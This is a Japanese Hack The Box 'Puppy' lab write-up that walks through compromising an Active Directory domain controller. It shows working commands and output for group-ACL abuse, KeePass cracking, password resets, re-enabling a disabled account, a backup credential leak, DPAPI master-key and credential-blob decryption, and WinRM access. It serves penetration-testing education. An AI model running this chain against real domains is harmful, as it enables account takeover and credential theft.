HTB Puppy writeup
Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。
Summary
Section titled “Summary”開始時に与えられた PUPPY.HTB\levi.james の資格情報から、Active Directory のグループ ACL を調べた。HR が DEVELOPERS のメンバー属性を書き換えられることを利用して開発用 SMB 共有を読み、KeePass データベースから ant.edwards の有効な資格情報を得た。ant.edwards が adam.silver に持つ GenericAll でパスワードを変更し、無効化されていたアカウントの ACCOUNTDISABLE を外して WinRM foothold を得た。バックアップ内の LDAP bind password で steph.cooper に移り、同ユーザーの DPAPI Master Key と Enterprise Credential Blob を復号して steph.cooper_adm の資格情報を取得した。最後に同アカウントの WinRM セッションから C:\Users\Administrator\Desktop\root.txt を読めた。最終セッションでの whoami / グループは記録されていないため、steph.cooper_adm が Domain Admins であった、または NT AUTHORITY\SYSTEM であったとは断定しない。
Box Info
Section titled “Box Info”| Item | Value |
|---|---|
| Box | Puppy |
| Platform | Hack The Box |
| OS | Windows Server 2022 Build 20348(SMB/LDAP 列挙で確認。Nmap の OS 判定も Windows Server 2022 を示した) |
| Difficulty | Medium |
Attack Chain
Section titled “Attack Chain”Operator | | supplied PUPPY.HTB\levi.james credential; SMB/LDAP + RustHound collection vlevi.james (member of HR) | | HR --GenericWrite--> DEVELOPERS; bloodyAD add groupMember vlevi.james (member of DEVELOPERS; DEV share READ) | | SMB read recovery.kdbx -> KDBX4 password recovery -> ant.edwards credential vant.edwards | | Senior Devs --GenericAll--> adam.silver; set password and clear ACCOUNTDISABLE vadam.silver WinRM (Kerberos; user.txt) | | read C:\Backups\site-backup-2024-12-30.zip -> LDAP bind password vsteph.cooper WinRM (Kerberos) | | DPAPI user Master Key + Enterprise Credential Blob decryption vsteph.cooper_adm credential | | Kerberos TGT -> WinRM; read Administrator profile desktop vC:\Users\Administrator\Desktop\root.txt readableTarget Details
Section titled “Target Details”| Item | Value |
|---|---|
| Hostname / domain | DC / PUPPY.HTB |
名前解決には次の対応を用いた。これを /etc/hosts のどの位置へ保存したかは記録なしだが、Kerberos と WinRM の FQDN 接続には必要だった。
10.129.232.75 DC.PUPPY.HTB PUPPY.HTB DC最初の全 TCP ポート走査は次で行った。実行時は出力をシェルの > で保存したが、保存先は再現性に関係しないため省略する。
nmap -sS -A -p- --min-rate 10000 10.129.232.75重要な出力だけを残す。
53/tcp open domain88/tcp open kerberos-sec Microsoft Windows Kerberos135/tcp open msrpc389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB)445/tcp open microsoft-ds464/tcp open kpasswd5593/tcp open ncacn_http636/tcp open tcpwrapped2049/tcp open nlockmgr3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB)3269/tcp open tcpwrapped5985/tcp open http Microsoft HTTPAPI httpd 2.0Service Info: Host: DC; OS: Windows| smb2-security-mode:|_ Message signing enabled and required|_clock-skew: 6h58m38s見るべき点は以下である。
- DNS、Kerberos、LDAP/Global Catalog、SMB、WinRM が同居しており、単体 Windows ではなく DC を含む AD 環境として扱う。
- SMB signing 必須なので、SMB relay を第一候補にはしない。認証済み SMB 列挙と共有 ACL を優先した。
- Kerberos は時刻差に弱い。走査では約 7 時間の skew が出たため、チケット取得前に時刻を必ず再確認する。ただし手元の時刻同期コマンドは別ホスト名
certified.htbを指定しており、Puppy との同期を直接証明する記録はない。 - 5985/tcp は開いていても任意のドメインユーザーが WinRM 接続できることを意味しない。Remote Management Users 等の認可と、有効な NTLM/Kerberos 認証を別々に検証する。
- 111/2049 の RPC/NFS 関連ポートと 3260/tcp iSCSI も見えたが、この経路で使ったという記録はない。
Initial Enumeration and AD Relationship Mapping
Section titled “Initial Enumeration and AD Relationship Mapping”Initial credential, SMB, and LDAP
Section titled “Initial credential, SMB, and LDAP”前提条件: 開始時に levi.james / KingofAkron2025! が与えられた。これは推測や password spray の結果ではない。
認証済み列挙では、SMB と LDAP の両方でこの資格情報が受理され、DC の OS/ドメインと共有を確認できた。列挙スクリプトが実行した NetExec コマンドは以下の三本である。ここでは $1 を dc.puppy.htb として示す(puppy.htb を入れてもよい)。users.txt と passwords.txt はスクリプトへの入力であり、開始時点で各ファイルに何を入れていたかの完全な記録はない。
nxc smb dc.puppy.htb -u users.txt -p passwords.txt --generate-hosts-file hostsnxc smb dc.puppy.htb -u users.txt -p passwords.txt --shares --rid-brutenxc ldap dc.puppy.htb -u users.txt -p passwords.txt --users --group一行目は SMB 認証の可否を確認し、以後 FQDN を使うための hosts mapping を生成する。二行目は共有の権限と RID からユーザー/グループ SID を列挙する。三行目は LDAP 認証を確認した上で、ドメインユーザーとグループを取得する。開始時点の users.txt / passwords.txt の完全な内容は記録なしなので、総当たりの範囲までは断定しない。少なくとも出力は、与えられた levi.james / KingofAkron2025! が SMB/LDAP で受理され、以後のサービス/ディレクトリ列挙に使えたことを示す。
SMB [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB)SMB [+] PUPPY.HTB\levi.james:KingofAkron2025!SMB Share Permissions RemarkSMB DEV DEV-SHARE for PUPPY-DEVSSMB IPC$ READSMB NETLOGON READSMB SYSVOL READ
LDAP [+] PUPPY.HTB\levi.james:KingofAkron2025!LDAP [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) (signing:None) (channel binding:No TLS cert)LDAP [*] Enumerated 9 domain users: PUPPY.HTBLDAP Remote Management Users 2LDAP HR 1LDAP SENIOR DEVS 1LDAP DEVELOPERS 3この時点では DEV に READ は表示されない。従って、共有名を見つけたことと共有を読めることは分けて扱う必要がある。LDAP が平文 389/tcp で認証済み列挙できたことも、以後の AD 情報収集の前提になった。
RustHound / BloodHound で確認する対象は「経路」ではなく属性と ACL
Section titled “RustHound / BloodHound で確認する対象は「経路」ではなく属性と ACL”実行コンテキスト: 攻撃端末で levi.james のドメイン資格情報を使用した。
rusthound-ce -d puppy.htb -f dc.puppy.htb -u levi.james -p 'KingofAkron2025!' -c All --zipConnected to PUPPY.HTB Active Directory!All data collected for NamingContext DC=PUPPY,DC=HTB10 users parsed!64 groups parsed!1 computers parsed!3 ous parsed!1 domains parsed!3 gpos parsed!BloodHound の表示と記録済みの関係から、次を攻撃候補として抽出した。
levi.james --MemberOf--> HRHR --GenericWrite--> DEVELOPERSDEVELOPERS --MemberOf/contains--> ant.edwards, adam.silver, jamie.williamsant.edwards --MemberOf--> SENIOR DEVSSENIOR DEVS --GenericAll--> adam.silveradam.silver --MemberOf--> Remote Management Usersこのうち、最初の二辺は後述の add groupMember 成功と membership 再確認で、SENIOR DEVS -> adam.silver は後述のパスワード変更と userAccountControl 変更の成功で実証された。BloodHound のクエリ名、各 ACE の raw 出力、Remote Management Users の個別メンバー一覧は記録なしである。グラフの見た目だけを根拠にせず、実際の LDAP 変更とログオンで確認した。
時刻差の対処として時刻同期を試みた記録はあるが、対象が dc.puppy.htb ではなく certified.htb だった。したがって「Puppy の時刻に同期できた」とは書かない。後で TGT が発行・利用できたことは確認済みだが、時刻補正が成功理由だったかは未確認である。
ACL-guided Group Membership and Developer Share
Section titled “ACL-guided Group Membership and Developer Share”DEVELOPERS への自身の追加
Section titled “DEVELOPERS への自身の追加”前提条件: levi.james は HR に属し、HR が DEVELOPERS に GenericWrite を持つという関係を収集済みだった。グループの member 属性が書き込み可能なら、メンバー追加はグループ所有者変更ではなく、その属性への変更である。
状態変更 — 実行主体: PUPPY.HTB\levi.james。
bloodyad -d puppy.htb --host dc.puppy.htb -u levi.james -p 'KingofAkron2025!' add groupMember Developers levi.james[+] levi.james added to Developers直後にメンバーシップを読み直した。
bloodyad -d puppy.htb --host dc.puppy.htb -u levi.james -p 'KingofAkron2025!' get membership levi.jamesdistinguishedName: CN=HR,DC=PUPPY,DC=HTBsAMAccountName: HR
distinguishedName: CN=DEVELOPERS,DC=PUPPY,DC=HTBsAMAccountName: DEVELOPERSこれで DEVELOPERS 所属が確認済みになった。ただし変更前に DEVELOPERS に含まれていなかったことを直接表示した LDAP 出力は記録なしである。add groupMember の成功表示を、group owner を取ったことや ant.edwards の任意属性を書けることと混同しない。
共有 ACL の変化と KeePass データベース
Section titled “共有 ACL の変化と KeePass データベース”同じ資格情報で共有を再確認すると、DEV に READ が付いた。
nxc smb dc.puppy.htb -u levi.james -p 'KingofAkron2025!' --sharesSMB [+] PUPPY.HTB\levi.james:KingofAkron2025!SMB Share Permissions RemarkSMB DEV READ DEV-SHARE for PUPPY-DEVSSMB で共有の内容を列挙し、データベースを取得した。
smbclient -U 'puppy.htb/levi.james%KingofAkron2025!' --realm=puppy.htb //dc.puppy.htb/DEVsmb: \> ls KeePassXC-2.7.9-Win64.msi A 34394112 Projects D 0 recovery.kdbx A 2677smb: \> get recovery.kdbxgetting file \recovery.kdbx of size 2677 as recovery.kdbx解釈: 大きなインストーラより、小さく名前が明示的な recovery.kdbx が保存資格情報の候補だった。共有の read 権限が得られたという事後状態が、次の資格情報回収への根拠である。
KDBX4 の復号と ant.edwards の検証
Section titled “KDBX4 の復号と ant.edwards の検証”最初に試した keepass2john は KDBX header version 40000 を扱えなかった。
keepass2john recovery.kdbx > recovery.hash! recovery.kdbx : File version '40000' is currently not supported!この出力は、現在の keepass2john が KDBX4 を扱えないという環境差であり、パスワードが存在しないことを示すものではない。KDBX4 対応の keepass4brute に切り替えた。
./keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt[+] Current attempt: liverpool[*] Password found: liverpool続けて、公式 KeePassXC CLI の実行名でエントリを出力した。
keepassxc-cli export --format csv recovery.kdbx"Group","Title","Username","Password","URL""Root","JAMIE WILLIAMSON","","JamieLove2025!","puppy.htb""Root","ADAM SILVER","","HJKL2025!","puppy.htb""Root","ANTONY C. EDWARDS","","Antman2025!","puppy.htb""Root","STEVE TUCKER","","Steve2025!","puppy.htb""Root","SAMUEL BLAKE","","ILY2025!","puppy.htb"エントリの表示名と AD の sAMAccountName は同じとは限らない。列挙済みのドメインユーザーに絞って組合せを検証し、唯一この経路に使えた組合せは次だった。
nxc smb dc.puppy.htb -u ant.edwards -p 'Antman2025!'SMB [+] PUPPY.HTB\ant.edwards:Antman2025!ADAM SILVER / HJKL2025! はこの総当たり出力で PUPPY.HTB\adam.silver:HJKL2025! STATUS_LOGON_FAILURE だった。したがってこれを adam.silver の元パスワードとしては扱わない。他の三エントリもこの攻撃経路で有効性を確認していない。
ACL の適用範囲を失敗で確認した SPN 操作
Section titled “ACL の適用範囲を失敗で確認した SPN 操作”GenericWrite の説明から ant.edwards の servicePrincipalName 書き換えを試したが、これは失敗した。
bloodyad -d puppy.htb --host dc.puppy.htb -u levi.james -p 'KingofAkron2025!' set object ant.edwards servicePrincipalName -v 'http/ant-test.puppy.htb'LDAPModifyException: insufficientAccessRights for CN=Anthony J. Edwards,DC=PUPPY,DC=HTBERROR_DS_INSUFF_ACCESS_RIGHTSこれは levi.james が DEVELOPERS グループのメンバー属性を変えられることと、ant.edwards ユーザーオブジェクトの SPN を変えられることが別 ACL であることを確認した失敗である。SPN 追加や Kerberoasting はこの先の成功経路ではない。
ツール名の差異にも注意する。この記録で使用したのは keepassxc-cli であり、kpxc-cli を実行した記録はない。両者を同じ公式 CLI と仮定してはならない。次回は command -v keepassxc-cli kpxc-cli と keepassxc-cli --version を確認して、KDBX version と対応ツールを先に照合する。keepass2john と KeePassXC CLI の具体的なバージョンは記録なしである。
ant.edwards to adam.silver: GenericAll, Account State, and WinRM
Section titled “ant.edwards to adam.silver: GenericAll, Account State, and WinRM”パスワード変更
Section titled “パスワード変更”前提条件: ant.edwards / Antman2025! は SMB 認証済みであり、BloodHound 関係では SENIOR DEVS を介して adam.silver に GenericAll があった。
状態変更 — 実行主体: PUPPY.HTB\ant.edwards。GenericAll は対象ユーザーに対する広い変更権限であり、ここではパスワード変更として使用した。
bloodyad -d puppy.htb --host dc.puppy.htb -u ant.edwards -p 'Antman2025!' set password adam.silver 'HappyPwn2026!'[+] Password changed successfully!この出力は新しいパスワードの設定成功を証明する。一方、変更前のパスワードは記録されていないため、HJKL2025! などを元の値と推測してはいけない。
WinRM/ Kerberos の失敗を切り分ける
Section titled “WinRM/ Kerberos の失敗を切り分ける”変更直後の NTLM WinRM は失敗した。
evil-winrm-py -i dc.puppy.htb -u adam.silver -p HappyPwn2026![*] Connecting to 'dc.puppy.htb:5985' as 'adam.silver'[-] Failed to authenticate the user adam.silver with ntlm次に Kerberos TGT を要求すると、アカウントが revoked という KDC 応答だった。
getTGT.py PUPPY.HTB/adam.silver:HappyPwn2026!Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)ここで「パスワードが誤り」と決めつけず、対象オブジェクトのアカウント状態を読む。
bloodyAD -d puppy.htb -u ant.edwards -p 'Antman2025!' --host dc.puppy.htb get object adam.silver --attr userAccountControldistinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTBuserAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORDACCOUNTDISABLE は userAccountControl のアカウント無効化ビットである。KDC_ERR_CLIENT_REVOKED とこの属性は整合する。NTLM の失敗理由をサーバー側が詳細に返した記録はないが、少なくとも Kerberos で使えない直接原因は無効化状態として確認できた。
ACCOUNTDISABLE を外して TGT を利用する
Section titled “ACCOUNTDISABLE を外して TGT を利用する”状態変更 — 実行主体: 引き続き PUPPY.HTB\ant.edwards。
bloodyad -d puppy.htb --host dc.puppy.htb -u ant.edwards -p 'Antman2025!' remove uac adam.silver -f ACCOUNTDISABLE[+] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl属性を再確認した。
bloodyAD -d puppy.htb -u ant.edwards -p 'Antman2025!' --host dc.puppy.htb get object adam.silver --attr userAccountControluserAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORDこれは ACCOUNTDISABLE だけを外し、NORMAL_ACCOUNT と DONT_EXPIRE_PASSWORD は残したことを示す。パスワードリセットだけではなく、この UAC の状態変更が必要だった。
Kerberos realm/KDC を PUPPY.HTB / dc.puppy.htb として明示した後、adam.silver の ccache を用いて接続した。無効化解除後の getTGT.py 成功時の stdout は保存されていないが、次の ccache が受理されてリモート PowerShell prompt が得られたことは成功の事後確認になる。
evil-winrm -i dc.puppy.htb -r puppy.htb --ccache adam.silver.ccacheInfo: Using ccache Kerberos ticket file: adam.silver.ccacheInfo: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\adam.silver\Documents>実行環境では bad interpreter: /usr/bin/ruby3.1 と remote completion の Ruby 警告も出たが、上記の通り接続自体は継続した。環境警告と認証失敗を混同しない。
初期 foothold は次で確認した。
*Evil-WinRM* PS C:\Users\adam.silver\Desktop> type user.txt[REDACTED]なお、「WinRM 権限を持たないユーザーの TGT を使ったため失敗した」という事実は、この記録からは確認できない。adam.silver は結果的に ccache で WinRM 接続でき、steph.cooper の最初の失敗は次節の通り ccache 不在だった。認可不足を示す有効 TGT での Access is denied 等の出力は記録なしである。
Windows Foothold Enumeration and the Backup Credential
Section titled “Windows Foothold Enumeration and the Backup Credential”adam.silver のコンテキストと絞り込み
Section titled “adam.silver のコンテキストと絞り込み”実行コンテキスト: Kerberos で WinRM 接続した PUPPY\adam.silver。
*Evil-WinRM* PS C:\Users\adam.silver\Desktop> whoami*Evil-WinRM* PS C:\Users\adam.silver\Desktop> whoami /privpuppy\adam.silver
Privilege Name Description StateSeMachineAccountPrivilege Add workstations to domain EnabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeIncreaseWorkingSetPrivilege Increase a process working set Enabledこの privilege 一覧には即時の SYSTEM 昇格を示す SeImpersonatePrivilege 等はない。したがって、トークン昇格よりも、読み取り可能な保存物とアプリケーション由来のディレクトリを調べる方針にした。
まず C:\ の直下だけを確認した。記録上の入力は ls C:\ であり、下記は同じ PowerShell alias を完全名へ正規化した表記である。
Get-ChildItem C:\Directory: C:\
BackupsinetpubPerfLogsProgram FilesProgram Files (x86)StorageReportsUsersWindowsC:\Backups はバックアップ・設定・旧ソースを置きやすい名前、C:\inetpub は IIS/アプリケーションファイル、C:\StorageReports は標準構成よりアプリ固有らしい名前であるため、優先対象にした。PerfLogs も同時に対象へ入れたが、この経路に関係する出力はなかった。
$targets = @( 'C:\Backups', 'C:\inetpub', 'C:\PerfLogs', 'C:\StorageReports')Get-ChildItem $targets -Recurse -Force -ErrorAction SilentlyContinueDirectory: C:\Backups-a---- 4639546 site-backup-2024-12-30.zip
Directory: C:\inetpub\DeviceHealthAttestation\bin-a---- 208896 hassrv.dll
Directory: C:\StorageReportsd----- Scheduled解釈と事後状態: C:\Backups\site-backup-2024-12-30.zip は 4.6 MB の具体的な読み取り対象になった。inetpub の hassrv.dll と空の StorageReports\Scheduled から、この記録で利用できる資格情報・書込み権限・タスクは得ていない。全 C:\ を -Recurse で走査した記録はない。これは正しい判断であり、Windows/WinSxS/Program Files まで全再帰するとノイズ、時間、監査痕跡を大きくする。まず root 直下から意味のある非標準ディレクトリに絞り、必要な範囲だけ深掘りする。
バックアップから LDAP bind password を得る
Section titled “バックアップから LDAP bind password を得る”前提条件: adam.silver の WinRM セッションからファイルを読めた。
*Evil-WinRM* PS C:\Backups> download site-backup-2024-12-30.zipInfo: Downloading C:\Backups\site-backup-2024-12-30.zipInfo: Download successful!アーカイブ展開に使ったコマンドは記録なしである。展開済み内容に対して password を含む設定を検索した結果は次だった。
grep -rl password .nms-auth-config.xml.bakassets/js/util.jsassets/js/jquery.min.jsassets/css/main.cssassets/sass/main.scss汎用 JavaScript/CSS の一致ではなく、LDAP 設定バックアップを読む。
cat nms-auth-config.xml.bak<ldap-config> <server> <host>DC.PUPPY.HTB</host> <port>389</port> <base-dn>dc=PUPPY,dc=HTB</base-dn> <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn> <bind-password>ChefSteph2025!</bind-password> </server></ldap-config>これは steph.cooper / ChefSteph2025! という平文 LDAP bind credential の一次証拠である。SMB で有効性を確認した。
nxc smb dc.puppy.htb -u steph.cooper -p 'ChefSteph2025!'SMB [+] PUPPY.HTB\steph.cooper:ChefSteph2025!Kerberos ccache を明示して steph.cooper に接続する
Section titled “Kerberos ccache を明示して steph.cooper に接続する”次の試行は -r puppy.htb により Kerberos を選んでいる一方、利用可能なチケットがなかった。
evil-winrm -i dc.puppy.htb -r puppy.htb -u steph.cooper -p 'ChefSteph2025!'Warning: User is not needed for Kerberos auth. Ticket will be usedWarning: Password is not needed for Kerberos auth. Ticket will be usedNo Kerberos credentials available (default cache: FILE:/tmp/krb5cc_1000)この失敗は password が誤りでも WinRM 認可が不足でもなく、指定した Kerberos 認証で ccache が無かったことを示す。TGT を取得し、できた ccache を明示した。
getTGT.py PUPPY.HTB/steph.cooper:ChefSteph2025!evil-winrm -i dc.puppy.htb -r puppy.htb --ccache steph.cooper.ccache[*] Saving ticket in steph.cooper.ccacheInfo: Using ccache Kerberos ticket file: steph.cooper.ccacheInfo: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\steph.cooper\Documents>steph.cooper の Remote Management Users 所属は BloodHound の記録にもあるが、最終的にはこの prompt が WinRM に成功した直接の事後確認である。
PowerShell 操作の再利用メモ
Section titled “PowerShell 操作の再利用メモ”今回の実行記録には ls、type、Get-ChildItem が混在する。PowerShell では ls は Get-ChildItem、type は Get-Content の alias なので、後から再利用するなら完全名と -LiteralPath を優先する。
# 今回実行した形: 候補ディレクトリだけを隠し項目込みで再帰列挙Get-ChildItem $targets -Recurse -Force -ErrorAction SilentlyContinue
# 今回 `type user.txt` / `type root.txt` として実行した読取りの完全名Get-Content -LiteralPath 'C:\Users\adam.silver\Desktop\user.txt'
# flag のようにファイル名が分かる場合だけ、Users 以下へ検索範囲を限定Get-ChildItem -LiteralPath 'C:\Users' -Filter 'root.txt' -Recurse -Force -ErrorAction SilentlyContinue今回、target 上で Out-File を実行した記録はない。標準出力を保存したい場合の ... | Out-File -Encoding utf8 <file> は有用だが、本件で実行済みのコマンドとしては扱わない。シェルのリダイレクトは Nmap 出力の保存と、後述する Base64 デコードで使われた。
DPAPI: Credentials, Protect\<SID>, Master Key, and Credential Blob
Section titled “DPAPI: Credentials, Protect\<SID>, Master Key, and Credential Blob”なぜこの三者を対にして調べるか
Section titled “なぜこの三者を対にして調べるか”Windows の Credential Manager に保存された資格情報は、Credentials ディレクトリ内の Credential Blob として保存される。Blob 単体を持ち出しても通常は読めない。どの Master Key を使うかは Blob 内に記録され、その Master Key ファイルはユーザー SID ごとの Protect\<SID> 配下にある。ユーザーのログオン秘密情報(ここでは steph.cooper のパスワード)と SID を使って Master Key を復号し、その結果の復号鍵で Blob を読む、という順序である。
今回の対応関係は以下の通りである。
| 種別 | target 上の場所 | 確認済みの意味 |
|---|---|---|
| SID | S-1-5-21-1487982659-1829050783-2281216199-1107 | steph.cooper の Protect ディレクトリ名 |
| Master Key file | C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 | 740 bytes の DPAPI Master Key ファイル |
| Local Credential Blob | C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D | 11068 bytes、Local Credential Data |
| Enterprise Credential Blob | C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 | 414 bytes、Enterprise Credential Data |
winPEAS は、この Master Key と二つの Credential Blob がすべて同じ GUID 556a2412-1275-4ccf-b721-e6a0b4f90407 を参照すると報告した。
MasterKey: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
CredFile: ...\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5DDescription: Local Credential DataMasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
CredFile: ...\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9Description: Enterprise Credential DataMasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407winPEAS の大量出力のうち、実際に使った観察点はこの DPAPI 相関だけである。adam.silver 側にも Protect\...-1105 ディレクトリは見えたが、配下の Master Key/credential file は出力されず、この経路では利用しなかった。
隠しファイルを確認し、Evil-WinRM download 失敗を回避する
Section titled “隠しファイルを確認し、Evil-WinRM download 失敗を回避する”steph.cooper の WinRM コンテキストで、候補ファイルの存在とサイズを ls -Hidden 付きで確認した。下記は同じ alias を Get-ChildItem へ正規化した表記である。
Get-ChildItem -Hidden 'C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407'Get-ChildItem -Hidden 'C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D'Get-ChildItem -Hidden 'C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9'556a2412-1275-4ccf-b721-e6a0b4f90407 -a-hs- 740DFBE70A7E5CC19A398EBF1B96859CE5D -a-hs- 11068C8D69EBE9A43E9DEBF6B5FBD48B521B9 -a-hs- 414Evil-WinRM の download は、出力先にディレクトリを渡した場合に次のエラーになった。
Error: Download failed. Check filenames or paths: Is a directory @ rb_sysopen個別ファイル名を指定しても、この環境では Ruby 側の例外で失敗した。
Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardErrorそこで採用した回避策は、target でバイト列を Base64 化し、攻撃端末側で復元する方法である。これはバイナリを文字列としてコピーでき、今回の三ファイルに使用した。
[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9'))[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D'))[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407'))echo '<base64 text>' | base64 -d > <file name>Base64 はサイズ増加と copy/paste 欠落に注意する。実行記録にはない代替としては、到達可能な攻撃端末の SMB/HTTP(S) 共有へ target からコピーする方法がある。ただし outbound 接続、資格情報、転送後のハッシュ検証を別途確認する必要があるため、本件の成功方法とは区別する。
Master Key の復号
Section titled “Master Key の復号”前提条件: steph.cooper / ChefSteph2025!、同ユーザーの SID、Master Key file の三つが揃った。Master Key の GUID は Blob が参照する GUID と一致している。
dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'[MASTERKEYFILE]Version : 2 (2)Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407MasterKeyLen: 00000088 (136)DomainKeyLen: 00000174 (372)Decrypted key with User Key (MD4 protected)Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84これは Master Key ファイル自体を持っているだけではなく、steph.cooper のユーザー秘密情報で復号に成功したことを示す。DomainKey が存在することは出力に見えるが、domain backup key を取得・使用した記録はないため、この経路では使ったとは書かない。
二つの Blob を区別して読む
Section titled “二つの Blob を区別して読む”復号済み key を指定して Local Credential Blob を読むと、次の保存情報だった。
dpapi.py credential -file DFBE70A7E5CC19A398EBF1B96859CE5D -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)Type : 0x00000001 (CRED_TYPE_GENERIC)Target : WindowsLive:target=virtualapp/didlogicalDescription : PersistedCredentialUsername : 02vpdyzbbgyaqelfこの出力に、この攻撃で使えるパスワードは示されていない。Username の文字列の意味や後続の Data を推測で資格情報にしない。
同じ key で Enterprise Credential Blob を読むと、ドメインパスワードが得られた。
dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)Target : Domain:target=PUPPY.HTBUsername : steph.cooper_admUnknown : FivethChipOnItsWay2025!この Blob が steph.cooper_adm / FivethChipOnItsWay2025! の唯一の取得元である。Master Key、Blob、復号手段、復号結果の全てが記録済みなので、この遷移は推測ではない。
Final Access: steph.cooper_adm and Administrator Desktop
Section titled “Final Access: steph.cooper_adm and Administrator Desktop”前提条件: Enterprise Credential Blob から得た steph.cooper_adm の資格情報。
getTGT.py PUPPY.HTB/steph.cooper_adm:FivethChipOnItsWay2025!evil-winrm -i dc.puppy.htb -r puppy.htb --ccache steph.cooper_adm.ccache[*] Saving ticket in steph.cooper_adm.ccacheInfo: Using ccache Kerberos ticket file: steph.cooper_adm.ccacheInfo: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\steph.cooper_adm\Documents>自身の Desktop には flag がなかったため、検索範囲を全ドライブではなく C:\Users に限定した。
Get-ChildItem C:\Users -Filter root.txt -Recurse -Force -ErrorAction SilentlyContinueDirectory: C:\Users\Administrator\Desktop
Mode Length Name---- ------ -----ar--- 34 root.txt同一セッションで Administrator profile へ移動して読めた。記録済みの入力をそのまま示す。
*Evil-WinRM* PS C:\Users\steph.cooper_adm> cd C:\Users\Administrator\Desktop*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt[REDACTED]確認済みの事後状態: steph.cooper_adm の Kerberos チケットで WinRM セッションを得て、C:\Users\Administrator\Desktop\root.txt を読み取れた。
未確認事項: 最終セッションの whoami、whoami /groups、whoami /priv は記録なしである。そのため、このアカウントの正確な管理者グループ、Administrator の ACL を読めた理由、SYSTEM への昇格の有無は未確認である。HTB の root flag 読み取りは確認したが、権限名を補完しない。
Rabbit Holes and Dead Ends
Section titled “Rabbit Holes and Dead Ends”levi.jamesがDEVELOPERSのmemberを変更できても、ant.edwardsのservicePrincipalNameは変更できなかった。ERROR_DS_INSUFF_ACCESS_RIGHTSは ACL の対象が異なる証拠であり、SPN 追加/Kerberoast を続ける理由はなかった。keepass2johnのFile version '40000' is currently not supported!は KDBX4 対応の問題だった。hash 抽出不可を「DB に有用な情報なし」と誤解しない。evil-winrm -r ... -u ... -p ...の失敗はNo Kerberos credentials availableだった。-rでは渡した user/password より ticket を使う挙動なので、ccache を明示して解決した。- Evil-WinRM の
downloadは出力先ディレクトリ指定と Ruby のEstandardError例外で失敗した。DPAPI ファイルが無いのではなく、転送機能の問題だった。 C:\全体を無差別にGet-ChildItem -Recurseした実行記録はない。次回もまず直下を一覧し、Backups、アプリ/Web root、レポート、ユーザープロファイルなど根拠のある候補を限定する。全再帰はノイズ、時間、アクセス拒否を増やす。
Cleanup Notes
Section titled “Cleanup Notes”この攻略では AD の状態を三箇所変更した。復旧済みであることを示す出力は記録されていない。
| 対象 | 変更前 | 変更済み・確認済み状態 | 復旧方法 | 復旧確認 |
|---|---|---|---|---|
DEVELOPERS の member 属性 | levi.james が既にメンバーだったかの直接記録なし | levi.james が DEVELOPERS に表示された | 未実行の復旧候補: bloodyad ... remove groupMember Developers levi.james | 未確認 |
